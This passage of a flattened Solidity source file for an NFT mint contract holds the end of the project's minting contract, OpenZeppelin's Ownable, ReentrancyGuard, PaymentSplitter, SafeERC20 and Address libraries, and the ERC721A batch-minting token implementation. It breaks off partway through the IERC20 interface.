maxPerAddressDuringMint = maxPerAddressDuringMint_; } function setTotalAvailable(uint256 totalAvailable_) external onlyOwner { totalAvailable = totalAvailable_; } function flipMintState() external onlyOwner { isMintActive = !isMintActive; } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { require(quantity != 0, "quantity must be nonzero"); require(currentIndex != 0, "no tokens minted yet"); uint256 _nextOwnerToExplicitlySet = nextOwnerToExplicitlySet; require(_nextOwnerToExplicitlySet < currentIndex, "all ownerships have been set"); // Index underflow is impossible. // Counter or index overflow is incredibly unrealistic. unchecked { uint256 endIndex = _nextOwnerToExplicitlySet + quantity - 1; // Set the end index to be the last token index if (endIndex + 1 > currentIndex) { endIndex = currentIndex - 1; } for (uint256 i = _nextOwnerToExplicitlySet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i].addr = ownership.addr; _ownerships[i].startTimestamp = ownership.startTimestamp; } } nextOwnerToExplicitlySet = endIndex + 1; } } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/finance/PaymentSplitter.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // File: contracts/ERC721A.sol // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), "ERC721A: number minted query for the zero address"); return uint256(_addressData[owner].numberMinted); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); unchecked { for (uint256 curr = tokenId; curr >= 0; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); require(quantity != 0, "ERC721A: quantity must be greater than 0"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1 unchecked { _addressData[to].balance += uint128(quantity); _addressData[to].numberMinted += uint128(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe) { require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } updatedIndex++; } currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved"); require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner"); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, 